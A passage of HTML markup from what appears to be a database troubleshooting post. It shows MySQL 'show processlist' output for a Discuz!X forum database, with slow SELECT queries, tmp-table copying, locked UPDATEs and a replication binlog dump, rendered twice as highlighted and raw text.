&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| Id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| User&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | db&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Command&nbsp;&nbsp;&nbsp;&nbsp; | Time&nbsp;&nbsp; | State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Info&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+</span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2209125</span><span> | ecjtudatabase | </span><span class="number">10.0</span><span>.</span><span class="number">0.2</span><span>:</span><span class="number">47335</span><span> | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Binlog Dump | </span><span class="number">129735</span><span> | Has sent all binlog to slave; waiting </span><span class="keyword">for</span><span> binlog to be updated | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2445694</span><span> | Holmesian&nbsp;&nbsp;&nbsp;&nbsp; | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="number">0</span><span> | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | show processlist&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2446826</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">90</span><span> | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2446827</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">89</span><span> | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2446831</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">87</span><span> | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2446834</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">86</span><span> | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2446837</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">85</span><span> | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2446838</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">85</span><span> | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2446841</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">84</span><span> | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2446847</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">82</span><span> | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;</span><span class="string">'3'</span><span> AND f.fid=t.fi |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>| <span class="number">2446851</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">81</span><span> | Locked&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | UPDATE ecjtu_forum_thread SET heats=</span><span class="string">'5'</span><span> WHERE tid=</span><span class="string">'369720'</span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>| <span class="number">2446855</span><span> | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; </span><span class="number">80</span><span> | Locked&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.tid, t.closed, f.*, ff.*&nbsp;&nbsp;, f.fid AS fid</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+</span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">17</span><span> rows </span><span class="keyword">in</span><span> set (</span><span class="number">0.00</span><span> sec)</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;"><pre>show processlist;+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+| Id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| User&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | db&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Command&nbsp;&nbsp;&nbsp;&nbsp; | Time&nbsp;&nbsp; | State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Info&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+| 2209125 | ecjtudatabase | 10.0.0.2:47335 | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| Binlog Dump | 129735 | Has sent all binlog to slave; waiting for binlog to be updated | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || 2445694 | Holmesian&nbsp;&nbsp;&nbsp;&nbsp; | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0 | NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | show processlist&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || 2446826 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 90 | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446827 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 89 | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446831 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 87 | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446834 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 86 | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446837 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 85 | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446838 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 85 | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446841 | ecjtu_discuzx | 